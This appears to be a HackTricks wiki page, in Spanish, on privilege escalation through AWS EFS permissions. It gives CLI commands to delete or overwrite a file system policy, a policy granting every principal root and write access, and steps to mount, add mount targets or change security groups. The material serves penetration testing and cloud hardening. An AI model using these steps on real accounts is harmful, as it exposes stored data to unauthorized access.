AWS - EFS Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipo Rojo de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

EFS

Más información sobre EFS en:

pageAWS - EFS Enum

Recuerda que para montar un EFS necesitas estar en una subred donde el EFS esté expuesto y tener acceso a él (grupos de seguridad). Si esto está sucediendo, por defecto, siempre podrás montarlo, sin embargo, si está protegido por políticas IAM, necesitas tener los permisos adicionales mencionados aquí para acceder a él.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Con cualquiera de estos permisos, un atacante puede cambiar la política del sistema de archivos para darte acceso a él, o simplemente eliminarlo para que se conceda el acceso por defecto.

Para eliminar la política:

aws efs delete-file-system-policy \
--file-system-id <value>

Para cambiarlo:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Con este permiso, un atacante podrá montar el EFS. Si el permiso de escritura no se otorga por defecto a todos los que pueden montar el EFS, solo tendrá acceso de lectura.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Las permisos adicionales elasticfilesystem:ClientRootAccess y elasticfilesystem:ClientWrite se pueden utilizar para escribir dentro del sistema de archivos una vez que está montado y para acceder a ese sistema de archivos como root.

Impacto potencial: Escalada de privilegios indirecta al localizar información sensible en el sistema de archivos.

elasticfilesystem:CreateMountTarget

Si un atacante está dentro de una subred donde no existe un punto de montaje del EFS, simplemente podría crear uno en su subred con este privilegio:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Impacto Potencial: Escalada de privilegios indirecta al localizar información sensible en el sistema de archivos.

elasticfilesystem:ModifyMountTargetSecurityGroups

En un escenario donde un atacante descubre que el EFS tiene un punto de montaje en su subred pero ningún grupo de seguridad permite el tráfico, simplemente podría cambiar eso modificando los grupos de seguridad seleccionados:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Impacto Potencial: Escalada de privilegios indirecta al localizar información sensible en el sistema de archivos.

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de HackTricks AWS)!

Otras formas de apoyar a HackTricks:

Última actualización